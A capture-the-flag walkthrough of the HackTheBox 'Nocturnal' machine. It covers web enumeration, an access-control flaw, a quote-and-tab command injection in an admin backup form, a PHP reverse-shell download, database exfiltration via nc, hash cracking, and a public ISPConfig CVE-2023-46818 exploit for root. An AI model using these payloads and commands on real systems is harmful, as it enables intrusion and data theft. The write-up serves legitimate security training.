HackTheBox | Nocturnal

In this walkthrough, I demonstrate how I obtained complete ownership of Nocturnal on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Nocturnal from Hack The Box!
I have just owned machine Nocturnal from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Apr 14 10:52:30 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.85.229
Nmap scan report for 10.129.85.229
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 14 10:52:47 2025 -- 1 IP address (1 host up) scanned in 17.11 seconds
ℹ️
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. There is a HTTP redirect to nocturnal.htb in the tcp/80 output, which we should add to our /etc/hosts file.
echo -e '10.129.85.229\t\tnocturnal.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

Whenever you're presented the opportunity to register for an account on an application, do so, as you will want to see if being an authenticated user opens any additional functionality.

I've registered with the credential test:test
Invalid file type error at the top of the screen

I tried uploading a simple .png file, but it appears we are limited to uploading files in a pre-defined whitelist of extensions.

Now that I've used one of the accepted file extensions, the file upload is successful. Hovering over the link, we can see the view.php script is used to load the file, where we must also provide username and file arguments.

At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

Potential Attack Paths

  • Can we bypass the file extension whitelist and upload a .php file to achieve code execution via the view.php script and Local File Inclusion (LFI); or perhaps Remote File Inclusion (RFI)?
  • Can we exploit path traversal and read local files on the file system?
  • Can we exploit broken access controls and read other users' files?
  • The landing page mentioned regular backups, so should be on the lookout for those



Directory and File Enumeration

Before we get too carried away with attacking the web application, we'll want to make sure we map the attack surface and check for any other interesting artifacts.

grep -iv '^logout$' /usr/share/seclists/Discovery/Web-Content/big.txt > wordlist.txt

Ignore the logout entry, so that we aren't logged out of our session

gobuster dir -u http://nocturnal.htb -w wordlist.txt -x php -o dir.txt \
-r -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' -t 200

Use our cookie to brute force the directories and files

/admin.php            (Status: 200) [Size: 644]
/backups              (Status: 403) [Size: 162]
/dashboard.php        (Status: 200) [Size: 2536]
/index.php            (Status: 200) [Size: 2536]
/login.php            (Status: 200) [Size: 644]
/register.php         (Status: 200) [Size: 649]
/uploads_event        (Status: 403) [Size: 162]
/uploads_user         (Status: 403) [Size: 162]
/uploads_video        (Status: 403) [Size: 162]
/uploads              (Status: 403) [Size: 162]
/uploads2             (Status: 403) [Size: 162]
/uploads_admin        (Status: 403) [Size: 162]
/uploads_group        (Status: 403) [Size: 162]
/uploads_forum        (Status: 403) [Size: 162]
/view.php             (Status: 200) [Size: 2967]



Testing Access Controls

ℹ️
I've tested a few different payloads to bypass the file naming restrictions but am not having too much luck, so I'm going to see if I can access other user(s) files and get some interesting information.
Registered for a test2:test account

In the screenshot below, you'll note that even though I'm logged in as test2, I can see the files belonging test if I specify so in the username parameter (while also specifying a fake file name with compliant file extension).

The application lists the user's files so long as I provide a valid file extension in file



Fuzzing Usernames

gobuster fuzz -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' -u 'http://nocturnal.htb/view.php?username=FUZZ&file=fake_file.odt' \
-w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 200 -o fuzz_users.txt

The first thing we want to do is trim the noise. The application always responds HTTP 200 whether or not the username is valid, so that's not a good way to filter the output. We can see lots of response sizes of 2985 in the output, so that will be the next most reliable filter.

gobuster fuzz -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' -u 'http://nocturnal.htb/view.php?username=FUZZ&file=fake_file.odt' \
-w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 200 -o fuzz_users.txt --exclude-length 2985
Found: [Status=200] [Length=3037] [Word=admin] http://nocturnal.htb/view.php?username=admin&file=fake_file.odt

Found: [Status=200] [Length=3113] [Word=amanda] http://nocturnal.htb/view.php?username=amanda&file=fake_file.odt

Found: [Status=200] [Length=3037] [Word=tobias] http://nocturnal.htb/view.php?username=tobias&file=fake_file.odt

Found: [Status=200] [Length=3037] [Word=test2] http://nocturnal.htb/view.php?username=test2&file=fake_file.odt

The next thing we notice here is the response size of 3037 repeated across a few users — including my other test account, test2. This seems to indicate to me users that exist but do not have any files uploaded, since I know my test2 user does not have any files.

Amanda appears to be the only user with files found during fuzzing
The file is a recognized as a .zip file despite the prepended CSS and HTML



Exploring the ODT File

The .odt file is recognized as a .zip archive, because like .docx and similar office documents, they are compressed in an archive. We can expand the archive and use a tool such as grep to look for interesting strings.

unzip -d privacy privacy.odt
grep -ir passw privacy/
Potential password for amanda



Nocturnal Web Admin

The password did not work for SSH, but did work for the web site and we are now admin
And now, the fun begins

Conveniently, the application makes it easy for use to get a look at some of the source code. Clicking through the various .php scripts, one thing stands out to me as a potential way to get a reverse shell.

     1  if (isset($_POST['backup']) && !empty($_POST['password'])) {
     2      $password = cleanEntry($_POST['password']);
     3      $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
     4
     5      if ($password === false) {
     6          echo "<div class='error-message'>Error: Try another password.</div>";
     7      } else {
     8          $logFile = '/tmp/backup_' . uniqid() . '.log';
     9         
    10          $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
    11          
    12          $descriptor_spec = [
    13              0 => ["pipe", "r"], // stdin
    14              1 => ["file", $logFile, "w"], // stdout
    15              2 => ["file", $logFile, "w"], // stderr
    16          ];

Using line numbers to make it easier to pinpoint interesting lines

The interesting bit is on line 10 where we're using string concatenation in PHP to build a system command via proc_open.

💡
Look at the script carefully and identify any points where user input is accepted and processed in the script.

Note that on line 2, the script makes an attempt to run cleanEntry() on the user-provided password. Scroll up on the PHP script output and find the cleanEntry() function and note how it tries to sanitize user inputs.

$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

The blacklist of characters we may not use in the password entry

"zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

Each section is wrapped in " with the PHP . concatenation operator

💡
This is interesting, because the " character is obviously the important character in this sequence, as it marks the beginning and end of a string. And the " character is not in the blacklist. So, what if we inject " in the password field?
Malicious input: password123"

This is sh throwing the error, not the PHP script. We've effectively caused the termination of the command string fed to proc_open, which causes sh to think the rest of the input is a separate command. We can recreate the conditions to prove it.

source.php
This extra quote causes sh to terminate the command here, then blahlah_backup is treated as the next command



Exploit

Command Injection

Developing the Payload

curl -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' 'http://nocturnal.htb/admin.php' \
--data 'backup=1' \
--data-urlencode 'password=injection"id"'

--data-urlencode will encode key characters on the right of =, particularly the " to %22 so we don't have to

Since we know injecting a " will cause the termination of the $command variable and cause the proc_open call to execute the command after the ", the next challenge is figuring out how to get spaces into the injected command.

The array of blacklisted characters is pretty robust. We can't use spaces, ${IFS}, or any other variable name for that matter as a way to inject spaces into the command.

I prompted ChatGPT with this:

"What characters can be used on the command line instead of a space to separate arguments?"
  • Space is blacklisted, so no-go
  • Next, we'll try tabs or \t on the command line
curl -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' 'http://nocturnal.htb/admin.php' \
--proxy http://127.0.0.1:8080 \
--data 'backup=1' \
--data-urlencode "password=\"$(echo -ne 'ls\t-la')"

In the --data-urlencode block, we're effectively doing:

  • password=" — inject the quote to terminate the string template
  • $(echo -ne 'ls\t-la') — use a sub-shell locally to output the string ls[tab]-la
  • And, send it as a URL encoded payload
  • \t encoded to URL translates to %09
Note the ls%09-la in the payload as expected



Reverse Shell

curl -sL https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/refs/heads/master/src/reverse/php_reverse_shell.php -o pwn.php

Download PHP reverse shell

Change line 177 with your VPN IP and desired TCP port
sudo python3 -m http.server 80

Host pwn.php over HTTP

sudo rlwrap nc -lnvp 443

Start a listener to catch the reverse shell

curl -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' 'http://nocturnal.htb/admin.php' \
--proxy http://127.0.0.1:8080 \
--data 'backup=1' \
--data-urlencode "password=\"$(echo -ne 'curl\thttp://10.10.14.117/pwn.php\t-O')" && curl -H 'Cookie: PHPSESSID=05ms3g3blf3v7odqcbbpmbr58b' 'http://nocturnal.htb/pwn.php'

Download pwn.php to the target and execute it

python3 -c "import pty; pty.spawn('/bin/bash')"

Spawn a TTY shell once





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux nocturnal 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(ispapps),1003(ispconfig),1004(client0)

Sorry, user www-data may not run sudo on nocturnal.    



Users and Groups

Local Users

tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh    

Local Groups

tobias:x:1000:tobias
ispapps:x:1002:www-data
ispconfig:x:1003:www-data    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:83:54 brd ff:ff:ff:ff:ff:ff
    inet 10.129.1.205/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2887sec preferred_lft 2887sec
    inet6 dead:beef::250:56ff:feb0:8354/64 scope global dynamic mngtmpaddr 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb0:8354/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp    LISTEN      0       151          127.0.0.1:3306           0.0.0.0:*                                                                                      
tcp    LISTEN      0       10           127.0.0.1:587            0.0.0.0:*                                                                                      
tcp    LISTEN      0       4096         127.0.0.1:8080           0.0.0.0:*                                                                                      
tcp    LISTEN      0       4096     127.0.0.53%lo:53             0.0.0.0:*                                                                                      
tcp    LISTEN      0       10           127.0.0.1:25             0.0.0.0:*                                                                                      
tcp    LISTEN      0       70           127.0.0.1:33060          0.0.0.0:*    



Processes and Services

Interesting Services

systemctl list-units --type=service --state=running    

Potentially interesting services worth enumerating further:


ispconfig.service           loaded active running PHP Built-in Server for ISP…
mysql.service               loaded active running MySQL Community Server
nginx.service               loaded active running A high performance web serv…
sendmail.service            loaded active running LSB: powerful, efficient, a…



Interesting Files

/var/www/nocturnal_database/nocturnal_database.db

./nocturnal_database/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001





Privilege Escalation

Dump Nocturnal Database

During the post-exploit enumeration phase, one key step is to enumerate the directory structure of the app where you landed your initial foothold. With access to the system, the application may have additional configuration files and/or databases with more information we can use to escalate our privileges.

In this case, we landed a foothold via the Nocturnal PHP web app and the database by the same name should draw your attention.

sudo nc -q 3 -lnvp 53 > nocturnal.db

Start a TCP socket to catch the file transfer

nc -q 3 10.10.14.117 53 < /var/www/nocturnal_database/nocturnal_database.db

Connect to your socket and transfer the file for further analysis

sqlite3 nocturnal.db '.tables'

Enumerate tables

Some simple hashes, likely MD5, should crack easily
sqlite3 nocturnal.db 'SELECT * FROM users;' | cut -d '|' -f 2,3 | tr '|' ':' | grep -v amanda > hashes
john --wordlist=~/Pentest/WordLists/rockyou.txt --format=Raw-MD5 --fork=4 hashes
tobias:slowmotionapocalypse



Lateral to Tobias

Tobias is a system user that we enumerated earlier when looking at the /etc/passwd file. Now would be a good time to see if we can SSH in using the cracked password.

ssh tobias@nocturnal.htb
Yes, indeed

Post-Exploit Enumeration

One of the first things I check upon switching users is the sudo -v command, but it doesn't appear that tobias has any sudo configurations. I did not find any binaries with SUID or interesting capabilities set.

find / -type f -writable -exec ls -l {} \; 2>/dev/null | grep -vE '/proc|/sys'
The /run/sendmail/mta/smsocket file stands out as interesting

Earlier, as www-data, I did point out the sendmail.service unit as a potentially interesting service worth enumerating more. Additionally, tcp/25 is an open port listening on loopback, so this is potentially a lead.

There didn't appear to be any additional configurations for nginx and I could not find a valid credentials for mysql.

I did, however, enumerate the ispconfig.service unit as potentially interesting, and something I wanted to explore further — particularly because I am not familiar with this service.

Service is running on tcp/8080 which is a listening port found earlier



Port Forwarding

Port Forwarding with SSH | 0xBEN | Notes
Security Considerations Reverse Tunneling This will require you to establish a SSH connection fr…
ssh -f -N -L 48080:127.0.0.1:8080 tobias@nocturnal.htb

Burp is running on tcp/8080 locally, so I'll use tcp/48080

💡
We do have some credentials from earlier, which I tried here, but was unable to login. Then, it occurred to me... sendmail is installed on this box and is almost certainly going to be used to send password resets. In this case, the mail to the target user is likely to be sent to /var/mail/<username>, which is a valid mailing system when there are no actual mailboxes to send to.
First combination I tried, but did not work
tobias@nocturnal.htb and admin seem to be valid.

I waited a bit to see if I would get an email at /var/mail/tobias, but nothing ever came through, so I did the next best thing and used the valid username I had just found and tried it with tobias password from before.

admin:slowmotionapocalypse is the valid credential
Clicking "Monitor", we can see the version of server
ISPConfig 3.2.11 PHP Code Injection Exploit · Issue #8804 · projectdiscovery/nuclei-templates
Template for? CVE-2023-46818 Details: PoC https://0day.today/exploit/39189

Google search for "ispconfig 3.2.10 exploit"

ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability | Karma(In)Security
This is the personal website of Egidio Romano, a very curious guy from Sicily, Italy. He’s a computer security enthusiast, particularly addicted to webapp security.

Doing some further Googling on the CVE ID led me here

User input passed through the “records” POST parameter to /admin/language_edit.php is not properly sanitized before being used to dynamically generate PHP code that will be executed by the application. This can be exploited by malicious administrator users to inject and execute arbitrary PHP code on the web server.

In summary, this PHP script is going to be executed locally on the attacker system, providing three arguments:

  • URL
  • username
  • password

The exploit then uses PHP curl libraries to inject arbitrary PHP code into the vulnerable /admin/language_edit.php script on the target server.



Becoming Root

sudo apt install -y php-curl
curl -sL https://karmainsecurity.com/pocs/CVE-2023-46818.php -o pwn.php
php pwn.php http://127.0.0.1:48080/ 'admin' 'slowmotionapocalypse'



Flags

User

4906968ce522c11f113195a13769975e    

Root

339cea9d10dbc011db39012922b2015a    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.